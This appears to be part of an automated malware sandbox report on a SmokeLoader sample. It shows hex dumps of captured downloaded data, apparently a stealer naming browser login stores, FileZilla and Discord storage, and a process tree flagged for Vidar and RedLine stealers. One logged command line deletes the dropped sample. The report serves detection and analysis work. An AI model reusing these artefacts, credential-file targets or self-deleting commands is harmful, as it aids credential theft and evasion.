o~rr}p(snooop+aoqtLY%(:s;or%-&+o(`,rXpor%-&+oo&ot-,o,o,o&*@_QPmIB
2021-12-28 04:19:48 UTC	4633	IN	Data Raw: 00 70 11 00 00 29 00 16 00 e7 00 01 00 10 00 f0 11 00 00 29 00 18 00 ec 00 01 00 10 00 4a 00 00 00 29 00 1e 00 fa 00 01 00 10 00 17 03 00 00 29 00 25 00 0a 01 01 00 10 00 08 05 00 00 29 00 29 00 13 01 01 01 00 00 6c 07 00 00 fd 00 2c 00 1a 01 09 01 10 00 e1 18 00 00 49 01 31 00 1a 01 09 01 10 00 54 19 00 00 49 01 3f 00 1d 01 09 01 10 00 07 19 00 00 49 01 42 00 1d 01 09 01 10 00 20 19 00 00 49 01 45 00 1e 01 01 01 00 00 65 09 00 00 fd 00 47 00 1f 01 01 01 00 00 37 0c 00 00 fd 00 4a 00 1f 01 01 00 10 00 0d 32 00 00 29 00 50 00 1f 01 01 00 10 00 70 0d 00 00 29 00 50 00 24 01 81 00 10 00 32 32 00 00 29 00 54 00 2d 01 01 00 10 00 af 0e 00 00 29 00 55 00 32 01 01 00 10 00 29 07 00 00 29 00 58 00 39 01 01 00 10 00 70 04 00 00 29 00 65 00 54 01 01 00 10 00 05 09 Data Ascii: p))J))%))l,I1TI?IB IEeG7J2)Pp)P$22)T-)U2))X9p)eT
2021-12-28 04:19:48 UTC	4641	IN	Data Raw: 07 a7 17 a9 01 dd a7 00 00 00 00 86 08 63 07 b1 17 a9 01 e6 a7 00 00 00 00 86 08 53 09 a7 17 aa 01 ee a7 00 00 00 00 86 08 5c 09 b1 17 aa 01 f7 a7 00 00 00 00 86 08 25 0c a7 17 ab 01 ff a7 00 00 00 00 86 08 2e 0c b1 17 ab 01 08 a8 00 00 00 00 86 08 5e 0d a7 17 ac 01 10 a8 00 00 00 00 86 08 67 0d b1 17 ac 01 1c a8 00 00 00 00 86 18 a7 33 01 00 ad 01 a8 a8 00 00 00 00 86 08 5b 04 e4 00 ad 01 b0 a8 00 00 00 00 86 08 63 04 10 00 ad 01 b9 a8 00 00 00 00 86 08 00 07 e4 00 ae 01 c1 a8 00 00 00 00 86 08 08 07 10 00 ae 01 ca a8 00 00 00 00 86 08 e3 08 bc 17 af 01 d2 a8 00 00 00 00 86 08 eb 08 c2 17 af 01 db a8 00 00 00 00 86 18 a7 33 01 00 b0 01 e3 a8 00 00 00 00 86 08 5b 04 e4 00 b0 01 eb a8 00 00 00 00 86 08 63 04 10 00 b0 01 f4 a8 00 00 00 00 86 08 00 07 e4 00 Data Ascii: cS\%.^g3[c3[c
2021-12-28 04:19:48 UTC	4649	IN	Data Raw: 03 e5 0a 1a 0a d9 02 67 27 27 0a 81 04 a7 33 36 0a 81 04 40 26 76 05 81 04 9c 3f 76 05 89 04 31 3e 3c 0a 89 04 ed 3b 45 0a 91 04 a7 33 01 00 91 04 46 20 36 0a 81 04 a7 33 01 00 81 04 b9 41 10 00 81 04 92 20 10 00 91 04 91 19 13 04 f1 02 e8 36 55 0a 89 04 31 3e 5c 0a 99 04 26 2b 63 0a 99 04 3b 2b 69 0a 99 04 c9 29 70 0a 81 01 a7 33 8f 00 a9 04 a1 21 76 0a 99 04 f1 29 82 0a e4 00 a7 33 01 00 84 01 99 33 39 00 8c 01 98 3d 27 00 e4 00 a7 1a b9 01 a1 01 a7 33 c0 0a 31 03 ef 27 ce 0a a9 01 a7 33 d5 0a a9 01 fb 27 df 0a c9 04 18 1d e4 00 b1 01 a7 33 01 00 b1 01 1d 29 05 00 b1 01 d5 3b 05 00 b1 01 52 27 f6 0a b1 01 48 27 00 0b f9 02 00 22 05 0b a4 01 a7 33 8f 00 b1 02 8e 22 30 0b ac 01 a7 33 8f 00 b1 02 39 41 5f 0b b4 01 a7 33 8f 00 b1 02 35 41 90 0b 9c 01 a7 33 Data Ascii: g''36@&v?v1><;E3F 63A 6U1>\&+c;+i)p3!v)339='31'3'3);R'H'"3"039A_35A3
2021-12-28 04:19:48 UTC	4656	IN	Data Raw: 31 38 36 34 34 46 35 36 43 35 44 33 46 39 37 34 35 33 46 46 46 32 30 00 49 64 32 30 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 33 30 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 34 30 00 37 37 41 39 36 38 33 46 41 46 32 45 43 39 45 43 33 44 41 42 43 30 39 44 33 33 43 33 42 44 30 34 45 38 38 39 37 44 36 30 00 41 38 46 39 42 36 32 31 36 30 44 46 30 38 35 42 39 32 36 44 35 45 44 37 30 45 32 42 30 46 36 43 39 35 41 32 35 32 38 30 00 46 34 31 33 43 45 41 39 42 41 41 34 35 38 37 33 30 35 36 37 46 45 34 37 46 35 37 43 43 33 43 39 34 44 44 46 36 33 43 30 00 3c 3e 39 5f 5f 30 5f 30 00 3c 54 72 79 46 69 6e 64 3e 62 5f 5f 30 5f 30 00 3c 53 d1 81 d0 b0 6e 3e 62 5f 5f 30 5f 30 00 3c 2e 63 74 6f Data Ascii: 18644F56C5D3F97453FFF20Id20__StaticArrayInitTypeSize=30__StaticArrayInitTypeSize=4077A9683FAF2EC9EC3DABC09D33C3BD04E8897D60A8F9B62160DF085B926D5ED70E2B0F6C95A25280F413CEA9BAA458730567FE47F57CC3C94DDF63C0<>9__0_0<TryFind>b__0_0<Sn>b__0_0<.cto
2021-12-28 04:19:48 UTC	4664	IN	Data Raw: 00 52 65 61 64 43 6f 6e 74 65 78 74 54 61 62 6c 65 00 49 45 6e 75 6d 65 72 61 62 6c 65 00 49 44 69 73 70 6f 73 61 62 6c 65 00 56 69 73 69 62 6c 65 00 54 6f 44 6f 75 62 6c 65 00 52 75 6e 74 69 6d 65 46 69 65 6c 64 48 61 6e 64 6c 65 00 52 75 6e 74 69 6d 65 54 79 70 65 48 61 6e 64 6c 65 00 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 00 52 65 63 74 61 6e 67 6c 65 00 52 65 61 64 46 69 6c 65 00 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 00 70 72 6f 66 69 6c 65 00 68 4d 6f 64 75 6c 65 00 67 65 74 5f 4e 61 6d 65 00 73 65 74 5f 4e 61 6d 65 00 70 72 6f 63 4e 61 6d 65 00 66 69 65 6c 64 4e 61 6d 65 00 74 61 62 6c 65 4e 61 6d 65 00 73 65 74 5f 46 69 6c 65 4e 61 6d 65 00 66 69 6c 65 4e 61 6d 65 00 47 65 63 6b 6f 52 6f 61 6d 69 6e 67 4e 61 6d 65 00 43 68 72 6f 6d 65 47 Data Ascii: ReadContextTableIEnumerableIDisposableVisibleToDoubleRuntimeFieldHandleRuntimeTypeHandleGetTypeFromHandleRectangleReadFileDownloadFileprofilehModuleget_Nameset_NameprocNamefieldNametableNameset_FileNamefileNameGeckoRoamingNameChromeG
2021-12-28 04:19:48 UTC	4672	IN	Data Raw: 00 55 73 65 72 45 78 74 00 4d 6f 76 65 4e 65 78 74 00 53 79 73 74 65 6d 2e 54 65 78 74 00 63 69 70 68 65 72 54 65 78 74 00 67 65 74 5f 49 6e 6e 65 72 54 65 78 74 00 63 68 69 70 65 72 54 65 78 74 00 52 65 61 64 46 69 6c 65 41 73 54 65 78 74 00 63 62 4d 61 63 43 6f 6e 74 65 78 74 00 70 62 4d 61 63 43 6f 6e 74 65 78 74 00 52 65 61 64 4d 61 73 74 65 72 4f 66 43 6f 6e 74 65 78 74 00 4f 70 65 72 61 74 69 6f 6e 43 6f 6e 74 65 78 74 00 69 76 00 67 65 74 5f 4e 6f 77 00 73 65 74 5f 43 72 65 61 74 65 4e 6f 57 69 6e 64 6f 77 00 53 68 6f 77 00 6b 61 73 64 69 68 62 66 70 66 64 75 71 77 00 42 72 45 78 00 65 6e 64 49 64 78 00 73 74 61 72 74 49 64 78 00 6e 49 6e 64 65 78 00 73 74 61 72 74 49 6e 64 65 78 00 72 6f 77 49 6e 64 65 78 00 52 65 67 65 78 00 4d 65 73 73 61 67 65 Data Ascii: UserExtMoveNextSystem.TextcipherTextget_InnerTextchiperTextReadFileAsTextcbMacContextpbMacContextReadMasterOfContextOperationContextivget_Nowset_CreateNoWindowShowkasdihbfpfduqwBrExendIdxstartIdxnIndexstartIndexrowIndexRegexMessage
2021-12-28 04:19:48 UTC	4680	IN	Data Raw: 08 0e 03 07 01 0e 04 20 00 1d 03 03 20 00 08 08 00 03 1d 05 1d 03 08 08 07 07 04 0e 0e 1d 0e 08 09 20 02 1d 0e 1d 0e 11 81 81 12 10 01 02 15 12 80 a1 01 1e 00 15 12 80 a1 01 1e 00 08 03 0a 01 0e 0d 10 01 01 1d 1e 00 15 12 80 a1 01 1e 00 06 00 02 0e 0e 1d 0e 05 0a 01 12 81 08 05 07 02 08 1e 00 06 15 12 45 01 1e 00 07 15 12 49 02 1e 00 02 06 20 01 13 01 13 00 0b 07 03 15 12 2d 01 12 80 b8 0e 0e 06 00 01 0e 11 81 89 05 00 02 0e 0e 1c 0a 20 01 01 15 12 80 a1 01 13 00 12 07 05 15 12 2d 01 12 80 b8 12 51 12 55 12 80 b8 12 59 06 20 01 01 12 81 8d 05 20 00 12 81 91 05 20 00 12 81 95 05 20 01 12 5d 08 0b 07 04 12 80 b8 12 55 12 5d 12 59 06 00 03 0e 0e 0e 0e 05 00 00 12 81 99 05 20 01 0e 1d 05 19 07 07 15 12 2d 01 12 80 ac 15 12 35 01 0e 0e 15 11 39 01 0e 0e 0e 12 Data Ascii: EI - -QUY ]U]Y -59
2021-12-28 04:19:48 UTC	4688	IN	Data Raw: 00 72 00 6f 00 63 00 65 00 73 00 73 00 49 00 64 00 00 00 00 00 00 00 31 00 2a 00 2e 00 31 00 6c 00 31 00 64 00 31 00 62 00 00 00 00 00 00 00 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 5f 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 5f 00 76 00 61 00 6c 00 75 00 65 00 00 00 25 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 25 00 5c 00 00 00 00 00 6c 00 6f 00 67 00 69 00 6e 00 73 00 00 00 00 00 7b 00 30 00 7d 00 5c 00 46 00 69 00 6c 00 65 00 5a 00 69 00 6c 00 6c 00 61 00 5c 00 72 00 65 00 63 00 65 00 6e 00 74 00 73 00 65 00 72 00 76 00 65 00 72 00 73 00 2e 00 78 00 6d 00 6c 00 00 00 25 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 25 00 5c 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 20 00 53 00 74 00 6f 00 72 00 Data Ascii: rocessId1*.1l1d1bProfile_encrypted_value%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Stor
2021-12-28 04:19:48 UTC	4695	IN	Data Raw: 00 00 02 00 00 00 04 00 00 00 05 00 00 00 06 00 00 00 07 00 00 00 07 00 00 00 07 00 00 00 08 00 00 00 08 00 00 00 08 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 0a 00 00 00 15 00 00 00 1e 00 00 00 1e 00 00 00 1d 00 00 00 1d 00 00 00 1e 00 00 00 20 00 00 00 26 00 00 00 34 00 00 00 41 00 00 00 50 00 00 00 64 00 00 00 73 20 29 38 d9 2c 3a 4f fe 2c 39 4f fe 2c 39 4f fe 2c 39 4f fe 2c 39 4f fe 2c 39 4e fe 2c 39 4e fe 2c 39 4e fe 2c 39 4e fe 29 35 48 e7 02 03 04 29 00 00 00 0b 00 00 00 02 00 00 00 02 00 00 00 04 00 00 00 07 00 00 00 0a 00 00 00 0c 00 00 00 0e 00 00 00 10 00 00 00 11 00 00 00 12 00 00 00 13 00 00 00 14 00 00 00 14 00 00 00 14 00 00 00 15 00 00 00 15 00 00 00 15 00 00 00 15 00 00 00 15 Data Ascii: &4APds )8,:O,9O,9O,9O,9O,9N,9N,9N,9N)5H)
2021-12-28 04:19:48 UTC	4703	IN	Data Raw: a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 83 7b a2 a6 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: {{{{{{{{{{{.

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: H4HU4rg1NM.exe PID: 6944 Parent PID: 5648

General

Start time:	05:17:55
Start date:	28/12/2021
Path:	C:\Users\user\Desktop\H4HU4rg1NM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\H4HU4rg1NM.exe"
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	31646747FE74D32212A7CBCB97C7D78D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: H4HU4rg1NM.exe PID: 7052 Parent PID: 6944

General

Start time:	05:17:57
Start date:	28/12/2021
Path:	C:\Users\user\Desktop\H4HU4rg1NM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\H4HU4rg1NM.exe"
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	31646747FE74D32212A7CBCB97C7D78D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3352 Parent PID: 7052

General

Start time:	05:18:04
Start date:	28/12/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff720ea0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iudbdfd PID: 5700 Parent PID: 664

General

Start time:	05:18:37
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Roaming\iudbdfd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\iudbdfd
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	31646747FE74D32212A7CBCB97C7D78D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: iudbdfd PID: 6964 Parent PID: 5700

General

Start time:	05:18:40
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Roaming\iudbdfd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\iudbdfd
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	31646747FE74D32212A7CBCB97C7D78D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 325D.exe PID: 5776 Parent PID: 3352

General

Start time:	05:18:51
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\325D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\325D.exe
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	5E0ED8966761E70EE0B8DCD141AAFB4C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 20%, Metadefender, Browse Detection: 50%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 325D.exe PID: 6556 Parent PID: 5776

General

Start time:	05:18:54
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\325D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\325D.exe
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	5E0ED8966761E70EE0B8DCD141AAFB4C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 4D1A.exe PID: 7112 Parent PID: 3352

General

Start time:	05:18:58
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\4D1A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4D1A.exe
Imagebase:	0x400000
File size:	342528 bytes
MD5 hash:	BABD835D0FE9E63300B037A5AAAA4284
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 40%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 110B.exe PID: 5764 Parent PID: 3352

General

Start time:	05:19:02
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\110B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\110B.exe
Imagebase:	0xf00000
File size:	537600 bytes
MD5 hash:	CCBCF301B4A4C51FC6AC6108E1A0A702
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 60%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 110B.exe PID: 5708 Parent PID: 5764

General

Start time:	05:19:11
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\110B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\110B.exe
Imagebase:	0x420000
File size:	537600 bytes
MD5 hash:	CCBCF301B4A4C51FC6AC6108E1A0A702
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.447644311.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000002.545178497.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.447017535.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.448094687.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6956 Parent PID: 7112

General

Start time:	05:19:13
Start date:	28/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5700 Parent PID: 6956

General

Start time:	05:19:13
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 6908 Parent PID: 6956

General

Start time:	05:19:13
Start date:	28/12/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0xee0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: 7728.exe PID: 3676 Parent PID: 3352

General

Start time:	05:19:28
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\7728.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7728.exe
Imagebase:	0x400000
File size:	844800 bytes
MD5 hash:	DBFAEC97A910463B8767B8CEB053CF3C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 8CA5.exe PID: 5208 Parent PID: 3352

General

Start time:	05:19:34
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\8CA5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8CA5.exe
Imagebase:	0xf80000
File size:	2207616 bytes
MD5 hash:	765885E4A5BF2B58911C445E2BA0F7DF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 9B5C.exe PID: 6476 Parent PID: 3352

General

Start time:	05:19:38
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\9B5C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9B5C.exe
Imagebase:	0x9e0000
File size:	538112 bytes
MD5 hash:	CF844515328AE2E2F1B4E9879401C7CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: A87C.exe PID: 5108 Parent PID: 3352

General

Start time:	05:19:41
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\A87C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A87C.exe
Imagebase:	0x400000
File size:	3624448 bytes
MD5 hash:	E5BD8A53623522C49CCC35BC492B5A11
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 9B5C.exe PID: 6252 Parent PID: 6476

General

Start time:	05:19:48
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\9B5C.exe
Wow64 process (32bit):
Commandline:	C:\Users\user\AppData\Local\Temp\9B5C.exe
Imagebase:
File size:	538112 bytes
MD5 hash:	CF844515328AE2E2F1B4E9879401C7CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.538447089.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000002.557976871.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.536505179.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.540001964.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: C26E.exe PID: 6500 Parent PID: 3352

General

Start time:	05:19:48
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\C26E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C26E.exe
Imagebase:	0xe40000
File size:	115712 bytes
MD5 hash:	1A8620AF98D68F9CADB5916341AD1E71
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.517465012.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.515568258.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.518196464.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.516435766.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000002.557976781.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: AppLaunch.exe PID: 4400 Parent PID: 5108

General

Start time:	05:19:48
Start date:	28/12/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x10c0000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: cmd.exe PID: 7036 Parent PID: 5208

General

Start time:	05:19:52
Start date:	28/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 3548 Parent PID: 7036

General

Start time:	05:19:53
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

